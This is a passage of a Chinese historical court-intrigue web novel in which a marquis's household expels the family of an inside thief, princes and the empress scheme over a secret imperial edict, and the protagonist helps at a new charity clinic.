“是,二郎君。”方恩领命而去,他十分有分寸,知道什么该问,什么不该问,且坚决执行。
因为时间太晚,封砚初返回之时,内院的门已经上了锁。按道理来说应该会有守门的婆子在,可他敲了好一会儿,竟然无人应答。本来就心情不佳,心里更加恼火,即使如此也只能越墙而入。
回到院子里,没想到灯火全息,还是惊醒了一个婆子。那婆子见是二郎君,当场吓得不轻,赶紧朝其余人喊道:“二郎君回来了。”这个声音刚响起没一会儿,整个院子里的灯都一一被点亮。
碧芳已经成亲,只在白日里进来,晚上就回去了。李妈妈又在‘枕松闲居’,所以,夜里是一个二等丫鬟凝香照看。
而封砚初怎么可能继续候着,匆匆进了屋子,又自己点了灯。随后摸了一下桌面,检查了一番被褥,还好时时打扫。
凝香进门就看见二郎君就这么坐着,连忙行礼解释,她并不敢隐瞒或者避重就轻,“二郎君恕罪,奴婢们知道您回来了,但是一直到内院上锁也没见您,碧芳姐姐又回去了,便以为您去了‘枕松闲居’,这才熄灯歇下了。”
封砚初听后,心中的不悦散了不少,“罢了,时辰也不早了,先下去打水,我要洗漱歇息。”
“是!”凝香规规矩矩的退下去,出门后还长舒一口气。
次日。
毕竟整个侯府都是母亲管家,所以封砚初一大早便去了大娘子处,实在不巧,嫂子汪永缃也在。
他行礼道:“儿子给母亲请安,大嫂。”
大娘子见二郎来了,关心道:“今日好容易休沐,你怎么不多睡一会儿?”
“儿子平日都住在广林巷,昨儿才回来,今日自然要给母亲请安。”封砚初浅尝了一口茶,便将杯子放在一旁,嘴角含笑。
两人又说了一会儿闲话,大娘子还以为二郎果真只是来请安的,便道:“瞧着时间差不多了,该去你祖母那里了。”
封砚初听了这话,并未急着立即动身,汪永缃察觉这是有话要说,便主动起身先告辞。
大娘子直等对方走了,才笑道:“我说你怎么一大早来给我请安?往日都是踩着点到老太太那里。说吧,找我什么事?”
封砚初起身拱手先告罪,“是儿子懒怠了,昨儿和父亲说话晚了,没想到回去时,内院的门已经上锁了。本就是儿子的错,回来的迟了,只是敲门时,才发现竟然没人看守。儿子只是偶然碰上这一次,那平日又当如何呢?”
大娘子听后眉头紧锁,双目冒着火气,猛地一拍桌子,“可恶!竟然敢玩忽职守!”
随后看向二郎,语气缓和了不少,“二郎,多亏你告诉我,否则还不知被隐瞒到什么时候呢?这内宅的院门何其重要?这么多女眷,若是有人翻墙进来,那可了不得!”
说到这里看向二郎,“你是怎么进来的?”
封砚初这才道:“这就是儿子想朝母亲说的第二件事。府中内墙并不高,别说是儿子,就是稍微有点身手的人,便可借力轻松越过。”
大娘子点头道:“确实该给这些人紧紧皮。”她明白,二郎特意私下里跟她说,就是不想让其余人看自己笑话。
封砚初见目的达到,拱手道:“那儿子先行告退。”
第二百三十一章 听说还是个家贼
饭后,大家并未着急离开,而是在老太太这里闲聊。
直到老太太开口问道:“昨日家里进贼了?听说还是个家贼?”几乎所有人听见这个消息后,都震惊的看向老太太,昨日家里竟然进贼了?
“进贼?是谁?”二叔封简言开口发问。
而封简宁喝茶的动作一顿,下意识瞥了一眼次子,然后才回答,“母亲不用担心,未曾丢东西,儿子以后会注意的。”
老太太手上的动作重了两分,“自古家贼难防,他比那外贼还要可恶!这是丢东西那么简单的事吗?”
封砚初见状道:“祖母不用担心,昨晚上,孙儿已经问过了,都是一些无妨碍的小事。”说到此处,他表情淡淡的,声音中更添了几分清冷,“孙儿已经将那人处置了。”
在座的所有人都听出,这句看似轻飘飘的话是什么意思,还有几个人做出吞咽唾沫的动作。
老太太这才满意,“嗯~那就好,至于他的家人就放出府去吧,这样的人家留不得,只是要当着所有人的面说清楚,免得还以为是咱家容不下人。”
大娘子听后,连忙应道:“是,母亲。”
老太太又看向长子,“一会儿,你与大娘子一起,正好也给下人们紧紧皮,免得再生出吃里扒外之人。”
“儿子知道了。”封简宁赶紧放下茶杯应着。
“今日好容易休沐,你们也都别围着我这个老太太了,都忙自己的事去吧!”老太太又恢复成以往的样子,就在所有人都离开后,夏津来了。
“如何了?”
夏津目光沉沉,声音亦是沉稳,“老太太,已经细细梳理了一遍,应该再没有了,若是还有,那只能是安插的时间太过久远。”
老太太听了这话,顿时松了一口气,缓缓摇头,“那应该不会。”随后叹道:“他们终究年轻,不如你老道,侯爷身边还需要你多看顾,也好好给方恩说一说,万不可让人摸进书房。”
夏津拱手道:“是,老太太。”随后便退下了。
话说封砚初才出了老太太的院子,就看见大郎和三郎,以及长姐与二妹四人跟在他身后。
大郎清了清嗓子,“既然大家都想知道,二郎,就去我那里吧,正好也让大家紧紧弦。”
封砚初见此一幕,仿佛又回到小时候一般,笑道:“罢了,好奇心这么重,那就去大哥那里吧。”去了大郎的院子,他将能说的全都说了。
二妹惊呼着,“我的天,你竟然通过耳力,就可以知道是否有人偷听?”
三郎立即来了兴致,“我要是有这能力就好了。二哥,那你现在听一听,这周围可有人偷听?”
封砚初笑骂着,“你要是好好练功,过上个七八年,也可以达到这个水平!”正说着话,他看向门外,呵斥道:“谁在门口鬼鬼祟祟的!”
原本还乐呵的大郎,脸色瞬间变了,谁这般丢他的脸,便高声道:“还不快出来!”
原来是大郎的大丫鬟——霁红,她正端着一盘子点心,进来行礼解释着,“奴婢端来点心,见郎君们正说话,不敢打扰。”说话间,看起来落落大方的样子。
毕竟是大哥院里的事情,封砚初并未说话,只是端起茶盏的同时,目光瞥向大哥。只见对方脸色虽缓,但还是有些僵硬,挥手道:“放下东西,出去吧。”
等人出去之后,长姐封砚敏瞥了一眼,自己之前咬了半块的点心,皱眉道:“大郎,你与弟妹才成婚,有些事情还是要把握好才是。咱们几个说话,连弟妹都没进来打扰,霁红一个丫鬟竟然自作主张过来。”
大郎闷声应道:“是,姐姐,我会处理好的。”
三郎与二妹见此一幕,也不敢说话,还是封砚初打破凝滞的空气,“姐姐别气恼,也是大哥素日太过温和,总是一副翩翩公子,温文尔雅的模样,底下人自然就不怕他,这才失了分寸。”
几人闲聊了一会儿,还是二妹提醒,“三哥,你是不是该进宫了?”
三郎这才反应过来,匆忙告辞。皇宫里需要换岗,所以他休沐的时间与旁人不同。
之后长姐与二妹也都走了,只留下封砚初与大郎两人。
大郎察觉出弟弟有所隐瞒,问道:“你方才说了那么多?这背后之人可查出来了?”
封砚初的眼睛瞥向屋外,目光幽深,“我不是说了嘛,那人偷听,挨了我一掌,没想到身子骨太弱,还没问到就一命呜呼了。”
“二弟!”大郎才不相信。
封砚初这才回头看向对方,语气是前所未有的认真,“大哥,这是父亲的意思。你毕竟是武安侯府的世子,怎么可能真瞒着你,以后你会知道的。”
他很清楚父亲的意思,并不是信不过大郎,而是信不过汪永缃。对方才嫁进来,也无所出,万一将来出现变故,所以很多事必定会瞒着。
大郎长叹一口气,“唉,罢了,我不问就是。”
外院。
很多下人都汇聚在此,且议论纷纷,并不清楚大娘子和侯爷将他们叫来的原因,直到一个妇人带着两个孩子出现。
封简宁瞥了一眼方恩,方恩立即意会,上前高声道:“所有人,安静!侯爷有话要讲!”众人听见这个声音,立即息声。
封简宁见安静下来,扫视了一圈之后,这才说道:“昨日,侯府进了贼人!”这话一出,顿时发出一阵‘嗡嗡’的议论声。
紧接着,方恩又喊着,“安静!若是再有人出声,当心受罚!”一听受罚二字,下人们这才重新安静下来。
第二百三十二章 一家子忘恩负义的东西
封简宁神情严肃,“昨日,家中出了贼,竟然蒙脸意图溜进书房盗窃,奈何贼人大意,被当场击毙。原以为是个外贼,可扯下蒙脸布才发现,竟是个内贼,伙同外人想盗取机密,实在可恶!也让你们知道,若是有人吃里扒外,可要小心是否有命享。”
大娘子见夫君说完,也说道:“大家都是几辈子在侯府里伺候,虽然贼人已死,但他的家人,侯府是万万留不得了。”
话音到此,众人哪里还不明白贼人是谁,纷纷看向那个带着两个孩子的妇人,眼神里满是鄙夷之色。
说罢,朝半夏挥手示意,“如今这卖身契就发还给你,限期三日,你带着两个孩子速速离开后街!”
那妇人并没有预料中的兴奋之色,反而不停地叩头请求,“大娘子,求您别赶我们走,求您别赶我们走,这是要绝了我们母子的活路啊!”说话时还拉着两个孩子一起叩头。
大娘子并未心软,反而怒气更盛,“果真是一家子忘恩负义的东西,是你男人吃里扒外,要怪也应当怪他!现下我连身契银都没要,好心放你们母子三人自由,现在竟敢胁迫于我!告诉你,没将你扭送至官府,已经是侯府开恩了,不要得寸进尺,还不快滚!”此音一出,下人们看向这妇人的眼神都能吃人。
封简宁此时又道:“侯府念及你是妇孺,不予计较,但我也要警告大家,若是有人吃里扒外,就不是今日这般简单了,而是全部卖去做苦役,可听清楚了!”
所有的下人赶紧行礼,并齐声道:“是,小的听清楚了,必定谨记。”
“散了!”封简宁说完这话甩袖离开,大娘子也跟着一起走了,只留下还在叽叽喳喳说话的下人们。
“实在太可恶了,竟然伙同外人在侯爷的书房偷东西,真是便宜他们了!”
“侯府倒了与他有什么好处?”
“哼,这是好日子过多了,过腻了呗。”
就在此时,不知谁喊了一句,“侯爷和大娘子将人赶出侯府,可没说可以将东西带走!”
“哎呀,那咱们赶紧去拿呀!”
“晚了就没有了。”
那妇人原本还想磨蹭,试图通过撒泼的方式,继续留在侯府,眼见众人如此模样,担心东西被抢,赶紧拉着两个孩子离开了。
靖安武备营。
因为此营新建,所以六皇子大多数情况下,都在这里处理事务,今日自然也一样,就在忙碌之时,李延进来了。
六皇子见对方并未着急禀报,便知道这件事情很重要,随后挥手道:“你们先下去忙吧,有事我再叫你们。”
直至所有人全部离开,李延这才将密封的小竹筒交给六皇子,压低声音,“这是柳秸坊送来的消息。”
六皇子接过竹筒打开,当他读完里头的内容之后,眉头顿时紧皱,随后拿起火折子,将纸条燃烧殆尽。他的手指不停地敲击着桌面,可见此刻心情的烦躁。
父皇竟然得了心衰之症,性命不足五年,此时此刻,他没有半点愉悦,只有深深地担忧。
老五是否知晓此事,还未可知,但是皇后没准已经知道了,估计也是因此,父皇才不相信太医院,这才让沈在云为他诊脉。
现在的他,多么希望父皇身体康健。他只觉得时间紧迫,自己才入朝没多久,仅担任了一个靖安武备营指挥使,就阻碍重重。与经营多年的老五和老九相比,他还是太弱了。
李延并不知道里头的内容是什么,见此也不敢打扰,只静静地待在一旁。
良久,六皇子压下心中的思绪,说道:“你先下去忙吧!”
“是,殿下。”李延领命告退。
‘枕松闲居’
夜幕已至,其余人都已休息。
只有封砚初屋子里的灯火还亮着,他轻叹一声,起身推开窗户,天空之上,月光皎洁,通过窗子,将屋内也照的明亮许多,随之而来的还有声声虫鸣,以及席席凉风,它们为这个夏日的夜晚更添几分热闹。
‘咚咚咚’
几声敲门声响起,冯四快速将门打开,来人随着暮山一路走进来。
当此人将斗篷掀开,一张熟悉的脸映入眼帘,“二郎。”
封砚初与此同时转身行礼,“殿下,收到您的传信,我就回了广林巷等您。”
六皇子坐在桌前,自顾自地倒茶,“劳烦你了,是我新得知了一个惊人的消息罢了。”
封砚初并未着急回复,而是看向一旁的暮山,吩咐着,“去外头守着,不许人靠近。”
一直等到暮山出去之后,他才坐到六皇子对面,神色看起来分外的轻松,“不知是何消息,竟让殿下暮色而来?”
六皇子长出一口气,缓了缓,一字一句,神情极为认真,“陛下患了心衰之症。”
这个消息在封砚初的预料之内,不过他还是装出一副吃惊的模样,“什么!果真?”
六皇子点头道:“果真!”
封砚初听到回答,端起茶盏饮了两口,装出一副强压震惊的样子,“这个消息还有谁知道?我指的是皇后娘娘和五殿下是否知道?”
六皇子轻轻摇头,愁容满面,“我也不知道。不过,皇后估摸着知道了,太医院也在隐瞒父皇,否则父皇不可能特意喊了沈在云进宫,如今怎么办?”
封砚初略作思索,安抚道:“事情还未到最糟糕的时候,心衰之症,即使好好保养也不过五年之数,陛下朝政缠身只怕时日会更短,好在陛下已经清楚自己的情况,必定会有新的打算。”
六皇子的焦急之色已经无可掩盖,“可问题是,万一父皇有个好歹,再没留下个什么旨意;即使留下旨意皇后也肯定会出手的,到时候还不是以她的懿旨为准!”
封砚初看向对面之人,“殿下能想到的,难道陛下就想不到吗?肯定想到了,九殿下年幼,即使来日登基,也不过是傀儡,还需皇后垂帘听政,到时候世族的势力必定大涨,陛下也不愿意看到。”
第二百三十三章 一如往常即可
六皇子听了这话心里略微放松了一些,缓缓点头道:“是啊,父皇自然不愿意看到。”
封砚初抬眼看向眼前之人。其实六皇子并不算聪慧,好在还愿意听一听谏言,愿意看一看周围。而不是一头扎进夺嫡的名碌场,对大晟目前所面临的危机视而不见,或是为了成功不择手段,宁可损伤国家利益。
“臣不知殿下如何得知这个消息,但唯有一点,那就是请殿下依旧当做不知情的样子,该怎么做就怎么做。”
六皇子想到了那个递给他消息的人,虽然明面上两人没有任何往来,但也不能因此害了对方,“那是当然。”
“陛下年岁已高,如今又得了这个消息,当然情绪不高;无论是为君,还是为父,陛下自然也羡慕普通人家的父慈子孝,而不是争权夺利,不管不顾。不过殿下向来孝顺,应当无碍。”封砚初继续提醒六皇子,在这个关键时刻,千万不能失了分寸。
六皇子听了连连点头,“父皇身体不如往日康健,当然不喜我们为了储位争斗不休,反而忽略了最不应该忽略之人。”
过了好一会儿,六皇子终究还是没能忍住,“父皇身体不佳,那会不会暗中留下什么旨意。”
封砚初心中暗笑,无论对方再怎么装的淡泊名利,不参与夺嫡,可还是最惦记这个。思及此处,眼神变得锐利,可声音却很轻,“殿下,陛下只是身体衰弱,又不是得了什么急症,即使留有旨意,若有人表现的不如人意,亦是可以随时更改的。”
六皇子被这话击得一震,猛然回过神来,强装镇定的端起茶杯抿了两口,“是我糊涂了,不该揣测的。”
封砚初安抚道:“殿下也不必太过忧虑,若真的留下旨意,您以为谁最着急,又是谁最想知道里头的内容?所以殿下一如往常即可,到时候自然有人想拉拢您。”
不知为何,每次六皇子心烦之时,只要一来封二郎这里,便觉得世间之事都不值得烦忧一般,“接下来,我只需以静制动,现在是多做多错,先不着急。”
封砚初将斟满的茶推向对面,嘴角微微弯起,未说一句话。
不知何时夜色渐深,六皇子这才起身告辞。
看着对方渐行渐远的背影,封砚初原本微微弯起的嘴唇收起笑意,脸上虽然依旧是那副风轻云淡的模样,可不知为何却与之前不同起来,仿佛多了些什么。
月光皎洁,照的见前行的路,却找不进人心。
与此同时。
坤宁宫的寝殿内,香炉里燃着梦灵香。黎皇后已经卸下钗环,宫女端来了一碗茯苓枣仁安神汤。
她端起碗刚喝了两口,就见亲信推门进来,随即看向一旁的宫女,“先下去吧!”
当亲信凑在耳边低语了几句,黎皇后猛地将碗放在一旁的桌上,面色当即一沉,眼角微挑,眸中粹着冷意,声音也犹如寒铁一般,“此事当真?”
亲信点头道:“是真的!那天陛下刚宣了肃王世子进宫没多久,就将邢勉叫进宫了,随后又匆匆出了宫。”
黎皇后的指甲下意识的划着桌面,一边思量着,一边说道:“那天下的是暴雨,有什么了不得的事情,非要冒着暴雨将邢勉宣进宫,看来陛下为了以防万一,藏了一道旨意,这道旨意就在邢勉手中!”说到激动之处,竟然将指甲弄断了。
只听‘哎呦’一声,亲信连忙捧起黎皇后的手,“娘娘,仔细您的手。”
黎皇后看着已经断裂的指甲,摇头道:“不妨事,不过明日众嫔妃要来坤宁宫请安,以防引起大家猜疑,还是贴上义甲吧。”
“是。”
“不过还是要试探一番,明日你出去将此事告知给本宫父亲,看他能否暗中探查一下。”既然知道了还有一道圣旨存在,黎皇后怎么可能坐以待毙。
光明宫。(皇帝寝殿)
若是以往,景和帝此刻必定还在勤政殿处理政务,可现在的他可不敢太过劳累,所以打算就寝。
江荣海从外头进来,一边侍奉陛下,一边回禀,“陛下,坤宁宫已经将消息打探到了,相必此时已经知道了。”
躺在床上的景和帝先是‘嗯’了一声,然后才说道:“如此也好,让他们探查吧,免得将目光全部放在朕这里。对了,明日宣肃王进宫陪朕下棋。”说完这话便闭上眼睛。
“是,陛下。”江荣海得了命令,这才将帐子掩上,悄悄退了出去。
邢府。
自从那日,陛下将邢勉冒雨叫进宫,原本以为有什么要紧的事情,没想到陛下竟然给了自己一道圣旨,上面是对他多年征战,为国尽忠的嘉奖。
尤其是陛下在他告退之时,说出的最后一句话,至今让他难以琢磨。
“邢卿,这封旨意即是朕私下对你的嘉奖,所以回去之后,要务必妥当保存,不要让任何人看见它,接触它,可能做到?”
当时邢勉虽然心存疑虑,但也是满口保证,他也确实做到了,如今那封圣旨就安安静静地躺在邢家的密室之中。
长孙邢重归见祖父这几日情绪不如平日疏朗,关心道:“祖父,您是有什么烦心事吗?孙儿见您这几日在外头一副高兴乐呵的样子,回家之后却神色郁郁。”
邢勉看向长孙,叹道:“有一件事,让祖父有些困惑,但过些时日应该能见分晓,只是不知这件事的结果是好是坏。”
邢重归见状笑道:“要孙儿说,您就是想的太多了,兵来将挡,水来土掩。反正那是将来的事,您干嘛对还没发生的事烦心,到时候再说呗。”
邢勉听了这番话,哈哈笑起来,赞道:“你说的对,祖父有些杞人忧天了,竟还不如你想的明白!”
邢重归摸了摸脑袋,实在没想明白,他说了什么话,竟然惹得祖父哈哈大笑,不过他也跟着笑起来。
邢勉看着不明所以,却乐呵呵的长孙。也许长孙这种质朴的性格也不错,起码不会让上位者忌惮,儿孙自有儿孙福,他已年老,能做的也只有这些。
第二百三十四章 医馆要开业了
次日。
当黎文堂得知这个消息后,再次确认道:“当真?”
来人点头,“确实为真。当日邢大人并未在兵部,又恰逢大雨街巷无人,且被陛下秘密宣入宫里,他还带着挡雨的蓑衣,所以只知道有人进宫,可并不知道是他。直到昨日,才探听到进宫的是邢勉。”
黎文堂喃喃着,“如此隐秘,这么说,邢勉手上八成是有圣旨了,为的就是将来。万不能坐以待毙,免得将来被动。”随后看向来人,“回去告诉皇后,就说我知道了,必定会查探到上头写了什么!”
等人走了之后,他又在思索如何能知道里头的内容。邢勉看着粗枝大叶,实则最是狡猾,八成不会说。还是先从他身边之人下手,邢勉的长孙——邢重归,倒是个不错的人选。思及此处,将儿子叫来。
黎大郎见父亲叫他,一时之间有些忐忑,最近父亲心情不佳,他难免会吃些苦头。进门拱手行礼,语气中透着小心翼翼,“父亲,您叫我。”
黎文堂见儿子的样子就来气,可还有事要对方去办,只得压下情绪,说话都宽和了许多,“为父又不吃人,叫你来是有事,做什么畏畏缩缩的?”
黎大郎听后更忧心,他担心事情太难,自己办砸了,不过还是继续拱手问道:“有什么,父亲吩咐就是。”
黎文堂看似轻松,且不在意道:“也没什么,就是听闻邢重归的武艺不错,如今还成了靖安武备营的副指挥使,也算是出息了,你去与他结交一番,也好有些长进。”
黎大郎听后松了一口气,就连脸上都带上了笑,“父亲放心,这事简单。到时候儿子请他吃酒宴饮,套套近乎,指定能成。”
黎文堂听后点头道:“与他结交之时,就说是你自己想的,不要提为父,可晓得?”
黎大郎笑道:“那是当然,否则只会显得儿子是依着父命所为,全无真心,邢重归自然不会与儿子交心。”
“嗯。”黎文堂正欲挥手打发儿子下去,就见对方一副扭捏之态,不悦道:“你又想做什么?”
黎大郎立即趁机说出要求,“这结交宴请,难免会有些花费,儿子想支些银钱。”
因为担心儿子被人引诱,或是被图谋不轨之人算计,黎文堂对其管教甚严,见此不耐烦的挥手道:“自己去账房领。”
“谢父亲,儿子告退。”黎大郎只觉得今天是他的好日子,就连出去的步伐都变得轻快不少。
接下来,黎大郎也确实按照父亲吩咐的那样,去接近邢重归,没想到两人竟意外的合拍。
邢勉知道后并不作声,因为长孙根本不知道圣旨的事,也不知道密室,徒劳尔。
相反,他得到了一个证实,那就是陛下给自己的这道圣旨有大问题。
是什么样的圣旨,能让黎文堂不惜让儿子接近自己的长孙?只有牵扯到夺嫡!
密室之内,邢勉打开圣旨看着里头的内容接连发笑,“陛下啊,陛下,恐怕此时即使臣对外说,这圣旨乃是您对臣的嘉奖之言,恐怕也没人相信了吧。”
说完眼睛冒出精光,“不过,陛下,这个圣旨也让臣猜出你心中的人选究竟是谁?从前您可是最忌讳他的出身,没想到此时,却也不得不选他了!”
出了密室,不禁感慨,“多事之秋啊!”同时也确认,陛下的身体已经出现问题,否则不会如此着急。
话说邢重归并未将这件事告诉祖父,反而在闲聊时,同李延说了。
李延得到这个消息,立即禀报给了六皇子,“殿下,黎文堂让自己的儿子拉拢邢副指挥使,难道是有什么阴谋诡计,是属下没想明白?”他想不理解对方这么做的原因,邢老大人岂是那么好拉拢的?
更别说邢重归虽然是副指挥使,但靖安武备营真正掌控在殿下手里,即使拉拢对方也没用。
六皇子听后并未解释,因为他已经有了猜测,那就是父皇的那道圣旨在邢勉之手。
不过嘴上还是说着:“我知道了,也许是为了邢老大人吧,毕竟他手里除了兵部还掌握着巡城卫,实力不菲,黎大人自然眼热。”
李延虽然点头称是,但他总觉得不是这么回事,不过还是很听话的没有继续发问。
六皇子仿佛又想起什么似的,“哦,对了。明日肃王世子的医馆就要开业了,按照规制送一份礼即可。”
“是,殿下。”李延见殿下没有其他吩咐,便告辞退下。
沈在云的医馆并没有设立在城东或者城西,而是在城南的位置,此处多是家境贫寒的普通百姓所居之地。
第二天,晴空万里。
封砚初特意告假前去参加这开业仪式,为此还专门换了一身稍微普通些的衣裳,他并未坐车,而是骑马而去。
与城东城西相比,城南的屋舍更显朴素,往来之人也多,更添了一些热闹,街道上随处都是叫卖声。
一个年轻的摊贩一边搅和着锅里的汤,一边高声喊着,“汤饼,卖汤饼唉~”
又一个老丈扛着草垛,“糖葫芦~酸甜的糖葫芦~”这一声声喊叫,引得许多小孩子跟在他屁股后面跑。
还有一个妇人站在店铺前,招呼着往来之人,“客官里头请~我家店里有冰凉的饮子~喝了好凉快凉快!唉,别走啊~”
封砚初见此一幕只觉得有趣,掏出几枚银币,指着那卖糖葫芦的,对郑伟吩咐,“将那草垛上的糖葫芦都买下来。”
郑伟疑惑道:“郎君,您想吃糖葫芦?可也要不了这些,仔细吃多了倒牙。”
“什么叫我想吃,你买下来散给那些小孩子,我瞧他们馋的慌,这都追了好长一段路了。”封砚初看着不远处,一边跑,还一边舔嘴的小孩说道。
郑伟接过银币,将那老丈草垛子上的糖葫芦全都买下来了。那老丈千恩万谢,搂着钱袋子乐呵呵的走了。
那群孩子眼见糖葫芦被买走了,顿时大失所望,准备散去,没想到那人竟是个大善人。
“孩子们,想吃糖葫芦的来,我这里领。”郑伟话音刚落,就被小孩子围住了。
他并未着急发,而是指着封砚初的方向说道:“就是那位封二郎君让我买下分给你们,拿了糖葫芦可要记得作揖谢谢他。”小孩子们听了这话,纷纷点头,生怕慢一步郑伟就反悔了。
紧接着,他们领了糖葫芦,远远朝着封砚初的方向作揖,然后舔着糖葫芦,笑呵呵的跑远了。
第二百三十五章 您在这里只会影响我
就在这时,一个声音响起,“二郎!”
封砚初回头一瞧,原来是陈泽文,只见对方也骑马而来。
“我远远的就瞧见你停在这里,做什么呢?”陈泽文勒停了马问道。
这时候,郑伟已经将糖葫芦散出去大半,便扛着草垛子过来,先行了礼,“郎君,陈郎君。”
然后才问道:“郎君,这剩下的是要带回去吗?”
陈泽文见状眉心微蹙,眼神里闪过一抹嫌弃,“你若是想吃这糖葫芦,让家里给你做,这外头的也不干净。”
封砚初并未说话,而是指着不远处,穿的破衣烂衫,远远躲着,不敢上前的几个小孩子,对郑伟道:“将剩余的糖葫芦给那几个小孩子吧。”说完又从钱袋里掏出一些铜板,“这些也一起分给他们吧。”
此时,陈泽文也明白过来,“你倒是心善。”
封砚初这才说道:“我瞧他们几个并不像乞儿,估计家里十分贫苦,银子未必保得住,便给上些铜钱尽一尽心力,让他们能吃上几顿饱饭。”
当两人到了地方后,发现前来道贺的人不少。毕竟是肃王世子,门口果然十分热闹,下马后,就有肃王府的小厮将马牵走。
这些人,好些封砚初都认识,比如平康公主的儿子,安远侯世子秦大郎君,方大郎君等等。
他笑着和这些人打完招呼,便与陈泽文一起进了医馆。谁知刚进去,就看见肃王一脸严肃的坐在室内,怪不到很多人都宁愿在外头等着。
他拱手行礼,“臣,封砚初,拜见肃王。”随后送上贺礼。
陈泽文心里微叹,怎么碰见肃王了,但也跟着拱手行礼。
一旁的沈在云眉头紧锁,语气虽然淡淡的,但说出的话很明确,“父王,此处乃是城南,多是平民百姓,您还是回去吧!别打扰我。”
肃王一听这话,先是冷哼一声,不悦道:“老子是为你来撑场面,你竟然赶我走?”
沈在云并不领情,“不需要。您在这里只会影响我,还是走吧。”肃王听后气的甩袖离开。
他这时才上前招呼封陈二人,随后对着封砚初点头道:“你这身衣裳倒也合适。我准备先义诊三日,你正好会医术,一会开业礼之后,也一起帮我吧。”看来这是早就打算好了的。
对方已经提出来了,封砚初自然也答应了。唯有陈泽文暗暗叹气,他本想在结束之后,准备约上封二郎,好好喝几杯来着。
直到肃王离开,原本拥堵在门口的人这才进来,纷纷朝沈在云道贺。
吉时已到,随着爆仗响起,‘济世堂’正式开业。
即使沈在云对外称免费义诊,但百姓们见到这么多贵人在此,亦不敢上前。直到恭贺之人全都离去,这才小心翼翼地进来,并且再三确认是否免费。
封砚初坐在诊桌前,为前来看病之人一一把脉,望闻问切,随后作出诊断。
说实话,他内心还是很激动的,仅是今日看的病人,比他以前加起来的还要多,各种症状也算见了不少。
时间缓缓而逝,不知不觉已是黄昏之际。封砚初兴致一直很高,并不觉得累,还是一旁的陈泽文提醒,这才发觉时间不早了。
“我的天呐,二郎,我喊你好几声了!”
封砚初听着这抱怨之声回头一看,脱口而出,“你还在啊!”
陈泽文气的骂道:“封砚初,你听听自己说的什么话,我可是为了等你唉,硬生生忍到现在的!”
封砚初赶紧起身拱手致歉,“实在抱歉,我就是想着你肯定觉得无聊,估计会离开,没想到竟等到现在,一会儿,我请你吃饭。”
陈泽文并未真的生气,但他还是佯装气消的样子,“这还差不多。”
沈在云清了清嗓子,道:“今日有劳二郎了,自然应该我来请。医馆有个后院,我已经叫了月上客的酒菜,一会儿就会送上门,咱们去后头吃饭。”
陈泽文倒没意见,他已经里里外外转了好几遍,然后提醒封砚初,“记住啊,你欠我一顿饭。”
封砚初一边点头表示自己不会忘,一边朝后头走去;他忙了大半日,还没见过后头的样子呢。
后院比他想象中的还要大一些,除了储藏药材的屋子,晾晒炮制药材的地方,还有医馆伙计的住处。此地也特别设了沈在云的住处,但位于侧院,与此处用一道门隔开罢了。
进了侧院,这里布置的果然更加清幽一些。院里种了几棵杏树;花圃里并非花草,而是药材;石子路连接着两旁的回廊,廊下偶尔有下人经过。
直至沈在云将两人引到一间坐北朝南的屋子,才上了茶,封砚初刚端起来饮了没两口。
就有小厮进来回禀,“郎君,月上客的餐食送来了。”
“将饭摆在外头的花厅吧。”虽是黄昏,可暑热依旧,沈在云想了想,决定在花厅用饭,不仅通风,还可以看一看景色。
当三人到达花厅,饭菜已经摆好了。之前一直忙碌还不觉得,现在闻到这香味,封砚初这才发觉自己饿了。
第二百三十六章 花无百日红
次日,封砚初刚上职,就被人围住了。
王主事那张大脸最靠前,眼神里满是震惊之色,“封主事,听说你昨日在肃王世子开的医馆里,当了一日的坐堂大夫?”
孙茂孙员外郎也有些不可置信,但他更多的是对侄子的控诉,“封砚初,你居然会医术?你和孙延年乃是至交好友,那小子竟然一丝风声都没漏出来!”
又有几个同僚为了上来,“封主事,他们说的可是真的?”
封砚初环视众人,问道:“你们都知道了?”
众人一起点头,“嗯,都知道了。”
“什么时候知道的?”
“昨日下午就知道了。”
王主事身体比较胖,别人挤不过他,“昨日咱们兵部的人在附近办事,恰巧看见你在里头诊脉,然后大家都知道了。”说到这里,还清了清嗓子,略带些不好意思,“之前你提醒我去瞧大夫,是不是早就看出来什么了?真是多谢你!”
就在大家都围在此处,一个声音响起,“都围在这里做什么?”原来是安槐序安侍郎,以及邢勉邢大人来了。
安槐序走近封砚初上下打量一番,随后感叹,“原来你还会医术啊!”
邢勉看着围在一起的官员,挥手打发,“赶紧去忙自己的事情!”
随后目光转向封砚初,“你随我来。”但他还是心里不禁对武安侯嫉妒起来,原本以为封砚初能考中状元已经了不得了,后来又发现对方会武,武功还很高;若就此也就罢了,不知什么时候竟抽空学了个医,能当一个坐堂大夫为人诊病,可见医术也不差。
真是人比人气死人,一想到自家长孙,原本还觉得不错,但这一对比,难免心里失衡,好儿郎都是别人家的。
“是,大人。”封砚初听后立即跟了上去。
进入屋内,邢勉的神色早已不是外头的那副样子,他用锐利的目光看向眼前这个年轻人。不得不承认,无论是从容貌仪态,还是从才学上论,在年轻一辈里头,确实属于顶尖。
“封主事。”他征战沙场多年,声音里的气势压的让人喘不过气,仿佛对方就是敌人一般。
可这是对别人而言,封砚初却不怕。他神情依旧如常,一副波澜不惊的模样,丝毫没有被这赫然的气势吓到,随即拱手行礼,“下官在,请大人吩咐。”
邢勉心中涌出果然吓不到的想法,他紧盯着对方的眼睛,“年轻一辈里头,你确实出色,无论对谁都是一副温文尔雅的模样,可你当真是这样的人吗?”
对方并未让封砚初起身,所以他依旧拱着手,说话的语气中满是坚定与诚恳,“大人谬赞,下官不敢当。自为官以来,下官一直秉持着为人臣的职责,从不敢有所疏忽。”
邢勉认真审视着这个年轻人,若非洞察了陛下的心思,他也不可能暗中去查那个人。若不查,还真发现不了他们之间,竟然还有一丝联系。而他从未察觉到这个年轻人,居然还有这样的心思?
随后他抬了抬手示意起身,说了一个看似无关的话题,“我的孙儿虽说在靖安武备营为副指挥使,看似年轻有为,可老夫觉得比起你差远了,所幸也不求他有多大的出息,平平安安就好。”
封砚初这才抬眼看向这个头发已经花白的老者,对方虽已老迈,可那双眼睛依旧锐利,几乎让人不敢直视。
他眼底闪过微光,声音依旧从容,“邢副指挥使心性敦厚纯良,又颇得家传,武艺高强,自然前程似锦。”
邢勉听了这话,仿佛是化了寒冰一般,表情不似方才那般可怖,“哈哈哈,老夫就喜欢和聪明人说话。你确实出类拔萃,可一旦陪衬之人的光芒盖过主人,时日长了,这个主人也会心里不适,除非他特别的豁达贤明,更别说他并不是这样的人!封砚初,须知花无百日红的道理。”他终究不忍心这个年轻人,在还未长成就中途夭折。
